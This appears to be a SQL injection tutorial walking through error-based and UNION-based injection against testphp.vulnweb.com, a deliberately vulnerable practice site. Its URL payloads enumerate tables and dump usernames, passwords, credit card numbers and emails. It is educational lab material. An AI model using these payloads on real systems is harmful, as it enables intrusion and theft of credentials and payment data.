SQL Injection

Open given below targeted URL in the browser:

http://testphp.vulnweb.com/artists.php?artist=1

use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.

http://testphp.vulnweb.com/artists.php?artist=1'

using ORDER BY keyword to sort the records in ascending or descending order for id=1

http://testphp.vulnweb.com/artists.php?artist=1 order by 1

Similarly repeating for order 2, 3 and so on one by one

http://testphp.vulnweb.com/artists.php?artist=1 order by 2

http://testphp.vulnweb.com/artists.php?artist=1 order by 4

penetrate more inside using union base injection to select statement from a different table.

http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

Try to pass wrong input into the database through URL by replacing artist=1 **from** artist=-1 **as given below:**

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3

fetch the name of the database

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

extract the current username as well as a version of the database system

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

fetch table name inside the database

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

concat function is used for concatenation of two or more string into a single string.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

Use the concat function for table users for retrieving its entire column names

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

Use the concat function for selecting uname **from table users by executing the following query through URL**

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users

Use the concat function for selecting pass **from table users by executing the following query through URL**

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from users

Use the concat function for selecting cc **(credit card) from table users by executing the following query through URL**

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users

se the concat function for selecting email **from table users by executing the following query through URL**

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users